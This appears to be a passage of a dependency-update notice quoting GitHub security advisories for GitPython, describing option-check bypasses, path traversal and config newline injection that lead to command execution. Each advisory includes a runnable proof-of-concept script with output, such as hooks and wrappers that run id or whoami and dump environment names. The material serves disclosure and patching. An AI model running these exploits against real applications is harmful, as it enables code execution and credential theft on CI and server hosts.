        into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
        in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
        in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
        in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
        in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
        in `git/cmd.py:948-961`. The validator correctly blocks option names such
        as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
        Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`.
        During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...`
        becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause
        the unsafe-option check runs before this normalization, underscore-form kwargs
        bypass the safety check even though they become the exact dangerous Git flags
        that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\":
        helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)`
        is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
        out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
        does not appear to affect every unsafe option. For example, `exec=` is already
        rejected because the raw kwarg name `exec` matches the blocked option name
        before normalization.\n\nExisting tests cover the hyphenated form, not the
        vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
        checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\":
        ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose
        tests correctly confirm the literal Git option names are blocked, but they
        do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n#####
        PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3
        -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2.
        make a new python file and put the following in there, then run it:\n\n```python\nimport
        os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
        git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
        so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
        = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
        = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
        = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
        to demo things you can do, not required for the exploit to work\n\n##### you
        could also do something like an SSH reverse shell, really anything\nwith open(wrapper,
        \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo
        \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf
        'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
        | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
        \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
        \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
        \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
        open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
        \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
        \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
        \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
        \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim],
        check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
        = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
        option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
        wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
        \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
        you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
        to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
        will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
        Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
        os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
        result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
        True ...`\n- The proof file contains evidence that the attacker-controlled
        helper executed as the local application account, including `id`, working
        directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
        % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
        gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
        \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
        PoC does not require a malicious repository. The PoC uses that fresh blank
        repository. The only attacker-controlled input is the kwarg that GitPython
        turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
        that let users configure repository import, sync, mirroring, fetch, pull,
        or push behavior\n- Systems that accept a user-provided dict of \"extra Git
        options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers,
        automation bots, or internal tools that build GitPython calls from untrusted
        integration settings or job definitions (yaml, json, etc configs )\n\nWhat
        the attacker needs to control:\n\n- A value that becomes `upload_pack` or
        `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
        `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could
        lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials
        available to the process\n- Modification of repositories, build outputs, or
        release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n-
        Full compromise of the worker or service process handling repository operations\n\nThe
        highest-risk environments are network-reachable services and automation systems
        that expose these GitPython kwargs across a trust boundary while relying on
        the default unsafe-option guard for protection.\n\n#### Severity\n- CVSS Score:
        8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
        [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Unsafe option check validates multi_options before shlex.split
        transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
        / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
        `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
        A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
        (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
        \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
        attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is in
        [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
        = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the
        **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
        unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the
        **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
        = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
        line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
        uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
        == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with
        `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
        its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n#####
        PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom
        git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
        \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n
        \   print(\"multi_options=['--config', '...']: Block as expected\")\nexcept
        Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC
        = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR
        / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r
        = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
        \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
        \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
        = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
        >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
        = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
        \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n
        \   print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept
        Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\",
        \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']:
        not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n
        \   print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
        '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
        not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
        Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
        `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
        core.hooksPath=<dir>` inside a string starting with a safe option. Check does
        not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
        Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
        [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686)\n-
        [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython reference APIs has a path traversal vulnerability that allows arbitrary
        file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
        / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
        in **GitPython** allows **attackers who can supply a crafted reference path
        to an application using GitPython** to **write, overwrite, move, or delete
        files outside the repository\u2019s `.git` directory** via **insufficient
        validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n#####
        \U0001F4E6 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main`
        (`3.1.47` in local checkout)\n\n---\n\n##### \U0001F9E0 Details\n\n##### Vulnerability
        Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File
        Deletion**\n\n---\n\n##### Root Cause\n\nReference paths are validated when
        they are resolved for reading, but are not consistently validated before filesystem
        write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()`
        rejects traversal sequences such as `..`, but `SymbolicReference.create`,
        `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`,
        and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled
        ref names without enforcing repository boundaries.\n\n---\n\n##### Affected
        Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath
        = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd
        = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef
        delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
        = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
        \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
        force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
        = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
        = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
        new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
        application-controlled input passed into GitPython reference APIs**\n\n#####
        Authentication Required\n\n**None at the library boundary. In practice, exploitation
        requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n#####
        \U0001F9EA Proof of Concept\n\n##### Setup\n\n```bash\npip install GitPython==3.1.46\npython
        poc.py\n```\n\n---\n\n##### Exploit\n\n```python\nimport shutil\nfrom pathlib
        import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom
        git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif
        base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo
        = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
        = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
        ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
        \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
        \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
        exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
        outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
        \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after
        delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
        \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
        = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
        outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete exists
        after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n##### What can
        an attacker do?\n\n* Create or overwrite files outside the repository metadata
        directory\n* Delete attacker-chosen files reachable from the process permissions\n*
        Corrupt application state or configuration files\n* Cause denial of service
        by deleting or overwriting important files\n\n---\n\n##### Security Impact\n\n*
        **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n#####
        Who is affected?\n\n* Applications that expose GitPython reference operations
        to user-controlled input\n* Git automation services, repository management
        backends, CI/CD helpers, and developer platforms\n* Multi-user environments
        where one user can influence ref names processed on behalf of another workflow\n\n---\n\n#####
        \U0001F6E0\uFE0F Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef
        _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
        \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
        \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
        \       raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n
        \   return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
        full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
        String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
        [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Newline injection in config_writer().set_value() enables RCE via
        core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
        / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
        values to Python's `configparser` without validating for newlines. GitPython's
        own `_write()` converts embedded newlines into indented continuation lines
        (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
        stanza as a section header \u2014 so the injected `core.hooksPath` becomes
        effective configuration. Any Git operation that invokes hooks (commit, merge,
        checkout) will then execute scripts from the attacker-controlled path.\n\nThe
        vulnerability is not merely malformed config output: GitPython's own writer
        converts embedded newlines into indented continuation lines, but Git still
        accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath`
        becomes effective configuration.\n\nThis was found while auditing MLRun's
        `project.push()` method, which passes `author_name` and `author_email` directly
        to `config_writer().set_value()` with no sanitization. Both parameters cross
        a trust boundary \u2014 they are caller-supplied API inputs that end up in
        `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
        git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
        as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
        = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
        capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
        \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
        \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
        0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
        \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
        is persistent repo config poisoning. Any user who can supply `author_name`
        or `author_email` to an application calling `config_writer().set_value()`
        can redirect Git hook execution to an arbitrary path. In a multi-user or hosted
        environment (e.g. a shared MLRun server where multiple users push to the same
        repositories), one user can poison the `.git/config` of a shared repo and
        have their hooks run in the context of every subsequent Git operation by any
        user. On single-user deployments, the impact depends on whether the application
        later invokes Git hooks automatically.\n\nRemediation: `set_value()` should
        raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport
        re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\",
        str(value)):\n    raise ValueError(\"Git config values must not contain CR,
        LF, or NUL\")\n```\n\nRejecting is safer than stripping \u2014 a stripped
        newline might indicate the caller is passing unsanitized input at a higher
        level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section,
        key, user_input)` is called with external input.** GitPython is a dependency
        of DVC, MLflow, Kedro, and others \u2014 worth auditing their `set_value()`
        call sites for externally influenced inputs.\n\n#### Severity\n- CVSS Score:
        7.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
        [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Newline injection in config_writer() section parameter bypasses
        CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
        (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
        The section and option parameters are passed to configparser without any newline
        validation. An attacker who controls the section argument can inject \\n to
        write arbitrary section headers into .git/config, including a forged [core]
        section with hooksPath pointing to an attacker-controlled directory, leading
        to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014
        GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
        section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
        = self._value_to_string_safe(value)   # only value is validated\n      if
        not self.has_section(section):\n          self.add_section(section)                    #
        section not validated\n      super().set(section, option, value_str)          #
        option not validated\n      return self\n```\n\n_write() formats section headers
        as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n
        \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
        \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
        \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
        \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
        \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into
        section parameter (not value \u2014 already patched)\n  with repo.config_writer()
        as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
        \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n
        \                    capture_output=True, text=True)\n  print(r.stdout.strip())
        \ # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\",
        \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())
        \ # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome
        as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete
        \u2014 only value is validated while section and option remain injectable.\n\n####
        Severity\n- CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
        [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
        [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Command Injection via git long-option prefix abbreviation bypass
        of CVE-2026-42215 blocklist\n[GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Command injection via long-option
        prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215
        / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI:
        GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix,
        through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:**
        CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:**
        inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`)
        \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:**
        hackkim\n\n##### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous
        git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack`
        for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach
        command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe
        fix canonicalizes an option name along **one** axis (underscore\u2192hyphen
        via `dashify`) and checks it against an **exact-match** dict. It does not
        account for git's unambiguous long-option prefix abbreviation. Git accepts
        any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac`
        all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes
        to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>`
        \u2192 executed as `--upload-pack=<value>` \u2192 command injection, in the
        default `allow_unsafe_options=False` configuration.\n\n##### The asymmetry
        (root cause)\n\n```python\n\n##### git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef
        _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\",
        1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n
        \       return \"\"\n    return dashify(option_tokens[0])      # only transform:
        \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n
        \   canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o
        in unsafe_options}\n    for option in options:\n        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n
        \       if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe
        guard normalizes only `_`\u2192`-` and does exact dict membership. Git's CLI
        parser accepts a broader grammar (prefix abbreviation) than the guard models,
        so abbreviated keys slip through and reach git as the blocked option.\n\n#####
        Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960`
        `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n|
        `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the
